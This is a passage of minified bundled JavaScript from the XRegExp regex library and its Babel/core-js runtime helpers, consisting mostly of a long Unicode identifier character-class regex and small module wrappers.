C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF2D-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDD00-\uDD23\uDE80-\uDEA9\uDEB0\uDEB1\uDF00-\uDF1C\uDF27\uDF30-\uDF45\uDF70-\uDF81\uDFB0-\uDFC4\uDFE0-\uDFF6]|\uD804[\uDC03-\uDC37\uDC71\uDC72\uDC75\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD44\uDD47\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC5F-\uDC61\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDEB8\uDF00-\uDF1A\uDF40-\uDF46]|\uD806[\uDC00-\uDC2B\uDCA0-\uDCDF\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD2F\uDD3F\uDD41\uDDA0-\uDDA7\uDDAA-\uDDD0\uDDE1\uDDE3\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE89\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD89\uDD98\uDEE0-\uDEF2\uDFB0]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE70-\uDEBE\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE7F\uDF00-\uDF4A\uDF50\uDF93-\uDF9F\uDFE0\uDFE1\uDFE3]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD837[\uDF00-\uDF1E]|\uD838[\uDD00-\uDD2C\uDD37-\uDD3D\uDD4E\uDE90-\uDEAD\uDEC0-\uDEEB]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4\uDD00-\uDD43\uDD4B]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A])(?:[\$0-9A-Z_a-z\xAA\xB5\xB7\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05EF-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u07FD\u0800-\u082D\u0840-\u085B\u0860-\u086A\u0870-\u0887\u0889-\u088E\u0898-\u08E1\u08E3-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u09FC\u09FE\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0AF9-\u0AFF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3C-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C5D\u0C60-\u0C63\u0C66-\u0C6F\u0C80-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D00-\u0D0C\u0D0E-\u0D10\u0D12-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D54-\u0D57\u0D5F-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D81-\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1369-\u1371\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1715\u171F-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u180F-\u1819\u1820-\u1878\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1ABF-\u1ACE\u1B00-\u1B4C\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CD0-\u1CD2\u1CD4-\u1CFA\u1D00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200C\u200D\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA827\uA82C\uA840-\uA873\uA880-\uA8C5\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA8FD-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDDFD\uDE80-\uDE9C\uDEA0-\uDED0\uDEE0\uDF00-\uDF1F\uDF2D-\uDF4A\uDF50-\uDF7A\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00-\uDE03\uDE05\uDE06\uDE0C-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE38-\uDE3A\uDE3F\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE6\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDD00-\uDD27\uDD30-\uDD39\uDE80-\uDEA9\uDEAB\uDEAC\uDEB0\uDEB1\uDF00-\uDF1C\uDF27\uDF30-\uDF50\uDF70-\uDF85\uDFB0-\uDFC4\uDFE0-\uDFF6]|\uD804[\uDC00-\uDC46\uDC66-\uDC75\uDC7F-\uDCBA\uDCC2\uDCD0-\uDCE8\uDCF0-\uDCF9\uDD00-\uDD34\uDD36-\uDD3F\uDD44-\uDD47\uDD50-\uDD73\uDD76\uDD80-\uDDC4\uDDC9-\uDDCC\uDDCE-\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE37\uDE3E\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEEA\uDEF0-\uDEF9\uDF00-\uDF03\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3B-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF50\uDF57\uDF5D-\uDF63\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC00-\uDC4A\uDC50-\uDC59\uDC5E-\uDC61\uDC80-\uDCC5\uDCC7\uDCD0-\uDCD9\uDD80-\uDDB5\uDDB8-\uDDC0\uDDD8-\uDDDD\uDE00-\uDE40\uDE44\uDE50-\uDE59\uDE80-\uDEB8\uDEC0-\uDEC9\uDF00-\uDF1A\uDF1D-\uDF2B\uDF30-\uDF39\uDF40-\uDF46]|\uD806[\uDC00-\uDC3A\uDCA0-\uDCE9\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD35\uDD37\uDD38\uDD3B-\uDD43\uDD50-\uDD59\uDDA0-\uDDA7\uDDAA-\uDDD7\uDDDA-\uDDE1\uDDE3\uDDE4\uDE00-\uDE3E\uDE47\uDE50-\uDE99\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC36\uDC38-\uDC40\uDC50-\uDC59\uDC72-\uDC8F\uDC92-\uDCA7\uDCA9-\uDCB6\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD36\uDD3A\uDD3C\uDD3D\uDD3F-\uDD47\uDD50-\uDD59\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD8E\uDD90\uDD91\uDD93-\uDD98\uDDA0-\uDDA9\uDEE0-\uDEF6\uDFB0]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE60-\uDE69\uDE70-\uDEBE\uDEC0-\uDEC9\uDED0-\uDEED\uDEF0-\uDEF4\uDF00-\uDF36\uDF40-\uDF43\uDF50-\uDF59\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE7F\uDF00-\uDF4A\uDF4F-\uDF87\uDF8F-\uDF9F\uDFE0\uDFE1\uDFE3\uDFE4\uDFF0\uDFF1]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99\uDC9D\uDC9E]|\uD833[\uDF00-\uDF2D\uDF30-\uDF46]|\uD834[\uDD65-\uDD69\uDD6D-\uDD72\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB\uDFCE-\uDFFF]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD837[\uDF00-\uDF1E]|\uD838[\uDC00-\uDC06\uDC08-\uDC18\uDC1B-\uDC21\uDC23\uDC24\uDC26-\uDC2A\uDD00-\uDD2C\uDD30-\uDD3D\uDD40-\uDD49\uDD4E\uDE90-\uDEAE\uDEC0-\uDEF9]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4\uDCD0-\uDCD6\uDD00-\uDD4B\uDD50-\uDD59]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD83E[\uDFF0-\uDFF9]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A]|\uDB40[\uDD00-\uDDEF])*)>/,(function(u){var d;if(!XRegExp.isInstalled("namespacing")&&("length"===u[1]||"__proto__"===u[1]))throw new SyntaxError("Cannot use reserved word as capture name ".concat(u[0]));if(-1!==(0,g.default)(d=this.captureNames).call(d,u[1]))throw new SyntaxError("Cannot use same name for multiple groups ".concat(u[0]));return this.captureNames.push(u[1]),this.hasNamedCapture=!0,"("}),{leadChar:"("}),XRegExp.addToken(/\((?!\?)/,(function(u,d,t){return-1!==(0,g.default)(t).call(t,"n")?"(?:":(this.captureNames.push(null),"(")}),{optionalFlags:"n",leadChar:"("});var q=XRegExp;t.default=q,d.exports=t.default},{"@babel/runtime-corejs3/core-js-stable/array/from":5,"@babel/runtime-corejs3/core-js-stable/array/is-array":6,"@babel/runtime-corejs3/core-js-stable/instance/concat":7,"@babel/runtime-corejs3/core-js-stable/instance/flags":8,"@babel/runtime-corejs3/core-js-stable/instance/for-each":9,"@babel/runtime-corejs3/core-js-stable/instance/index-of":10,"@babel/runtime-corejs3/core-js-stable/instance/slice":11,"@babel/runtime-corejs3/core-js-stable/instance/sort":12,"@babel/runtime-corejs3/core-js-stable/object/create":13,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/core-js-stable/parse-int":15,"@babel/runtime-corejs3/core-js-stable/symbol":16,"@babel/runtime-corejs3/core-js/get-iterator-method":19,"@babel/runtime-corejs3/helpers/interopRequireDefault":24,"@babel/runtime-corejs3/helpers/slicedToArray":27}],5:[function(u,d,t){d.exports=u("core-js-pure/stable/array/from")},{"core-js-pure/stable/array/from":208}],6:[function(u,d,t){d.exports=u("core-js-pure/stable/array/is-array")},{"core-js-pure/stable/array/is-array":209}],7:[function(u,d,t){d.exports=u("core-js-pure/stable/instance/concat")},{"core-js-pure/stable/instance/concat":212}],8:[function(u,d,t){d.exports=u("core-js-pure/stable/instance/flags")},{"core-js-pure/stable/instance/flags":213}],9:[function(u,d,t){d.exports=u("core-js-pure/stable/instance/for-each")},{"core-js-pure/stable/instance/for-each":214}],10:[function(u,d,t){d.exports=u("core-js-pure/stable/instance/index-of")},{"core-js-pure/stable/instance/index-of":215}],11:[function(u,d,t){d.exports=u("core-js-pure/stable/instance/slice")},{"core-js-pure/stable/instance/slice":216}],12:[function(u,d,t){d.exports=u("core-js-pure/stable/instance/sort")},{"core-js-pure/stable/instance/sort":217}],13:[function(u,d,t){d.exports=u("core-js-pure/stable/object/create")},{"core-js-pure/stable/object/create":218}],14:[function(u,d,t){d.exports=u("core-js-pure/stable/object/define-property")},{"core-js-pure/stable/object/define-property":219}],15:[function(u,d,t){d.exports=u("core-js-pure/stable/parse-int")},{"core-js-pure/stable/parse-int":220}],16:[function(u,d,t){d.exports=u("core-js-pure/stable/symbol")},{"core-js-pure/stable/symbol":221}],17:[function(u,d,t){d.exports=u("core-js-pure/features/array/from")},{"core-js-pure/features/array/from":52}],18:[function(u,d,t){d.exports=u("core-js-pure/features/array/is-array")},{"core-js-pure/features/array/is-array":53}],19:[function(u,d,t){d.exports=u("core-js-pure/features/get-iterator-method")},{"core-js-pure/features/get-iterator-method":54}],20:[function(u,d,t){d.exports=u("core-js-pure/features/instance/slice")},{"core-js-pure/features/instance/slice":55}],21:[function(u,d,t){d.exports=u("core-js-pure/features/symbol")},{"core-js-pure/features/symbol":56}],22:[function(u,d,t){d.exports=function _arrayLikeToArray(u,d){(null==d||d>u.length)&&(d=u.length);for(var t=0,a=new Array(d);t<d;t++)a[t]=u[t];return a},d.exports.__esModule=!0,d.exports.default=d.exports},{}],23:[function(u,d,t){var a=u("@babel/runtime-corejs3/core-js/array/is-array");d.exports=function _arrayWithHoles(u){if(a(u))return u},d.exports.__esModule=!0,d.exports.default=d.exports},{"@babel/runtime-corejs3/core-js/array/is-array":18}],24:[function(u,d,t){d.exports=function _interopRequireDefault(u){return u&&u.__esModule?u:{default:u}},d.exports.__esModule=!0,d.exports.default=d.exports},{}],25:[function(u,d,t){var a=u("@babel/runtime-corejs3/core-js/symbol"),c=u("@babel/runtime-corejs3/core-js/get-iterator-method");d.exports=function _iterableToArrayLimit(u,d){var t=null==u?null:void 0!==a&&c(u)||u["@@iterator"];if(null!=t){var i,l,D=[],p=!0,b=!1;try{for(t=t.call(u);!(p=(i=t.next()).done)&&(D.push(i.value),!d||D.length!==d);p=!0);}catch(u){b=!0,l=u}finally{try{p||null==t.return||t.return()}finally{if(b)throw l}}return D}},d.exports.__esModule=!0,d.exports.default=d.exports},{"@babel/runtime-corejs3/core-js/get-iterator-method":19,"@babel/runtime-corejs3/core-js/symbol":21}],26:[function(u,d,t){d.exports=function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")},d.exports.__esModule=!0,d.exports.default=d.exports},{}],27:[function(u,d,t){var a=u("./arrayWithHoles.js"),c=u("./iterableToArrayLimit.js"),i=u("./unsupportedIterableToArray.js"),l=u("./nonIterableRest.js");d.exports=function _slicedToArray(u,d){return a(u)||c(u,d)||i(u,d)||l()},d.exports.__esModule=!0,d.exports.default=d.exports},{"./arrayWithHoles.js":23,"./iterableToArrayLimit.js":25,"./nonIterableRest.js":26,"./unsupportedIterableToArray.js":28}],28:[function(u,d,t){var 